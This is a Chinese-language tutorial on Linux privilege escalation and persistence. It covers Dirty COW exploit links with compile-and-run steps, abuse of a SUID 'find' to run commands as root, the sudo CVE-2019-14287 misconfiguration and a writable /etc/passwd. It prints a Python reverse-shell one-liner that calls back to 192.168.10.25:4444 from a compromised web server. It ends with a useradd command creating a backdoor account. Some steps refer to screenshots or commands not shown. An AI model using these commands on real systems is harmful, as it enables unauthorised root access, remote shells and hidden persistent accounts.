一、Linux提权
1. 内核提权 之 脏牛漏洞提权
脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
简要分析:该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
exp:
https://github.com/gbonacini/CVE-2016-5195
https://github.com/FireFart/dirtycow
过程:
- 使用
uname -a
命令查看linux内核信息,发现在脏牛漏洞范围内,可以进行测试。 - 将exp一下载到本地,使用
gcc -pthread dirty.c -o dirty -lcrypt
命令对dirty.c进行编译,生成一个dirty的可执行文件。 行
./dirty
密码
命令,即可进行提权。此时使用上图中的账号密码即可获取root权限。
2. suid提权
以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限
find / -perm -u=s -type f 2>/dev/null
我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行
/usr/bin/find examples.desktop -exec whoami \;
于是我们以root用户的身份利用python反弹shell,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#反弹一个sh类型的shell
3. sudo提权
漏洞背景
2019年10月14日, sudo 官方在发布了 CVE-2019-14287 的漏洞预警。
sudo是所有 unix操作系统(BSD, MacOS, GNU/Linux) 基本集成的一个用户权限控制/切换程序。允许管理员控制服务器下用户能够切换的用户权限。
CVE-2019-14287 是管理员在配置文件中用了 ALL 关键词后造成的。但默认的 sudo 配置文件不受影响。
漏洞影响版本
sudo < 1.8.28
利用条件
- sudo的版本号<1.8.28
- 知道当前用户的密码
- 当前用户存在于sudo权限列表
当 /etc/sudoers 文件存在如下形式的配置会导致漏洞的产生
hack ALL=(ALL, !root) ALL
4. 错误配置提权
首先,查看 /etc/passwd 的权限,查看是否有写入权限
使用perl语言生成带有盐值的密码
然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件
以用户名 test 密码 password@123 通过ssh登录该主机
二、Linux权限维持
创建后门账户
useradd -p `openssl passwd -1 -salt ‘salt’ 123456` guest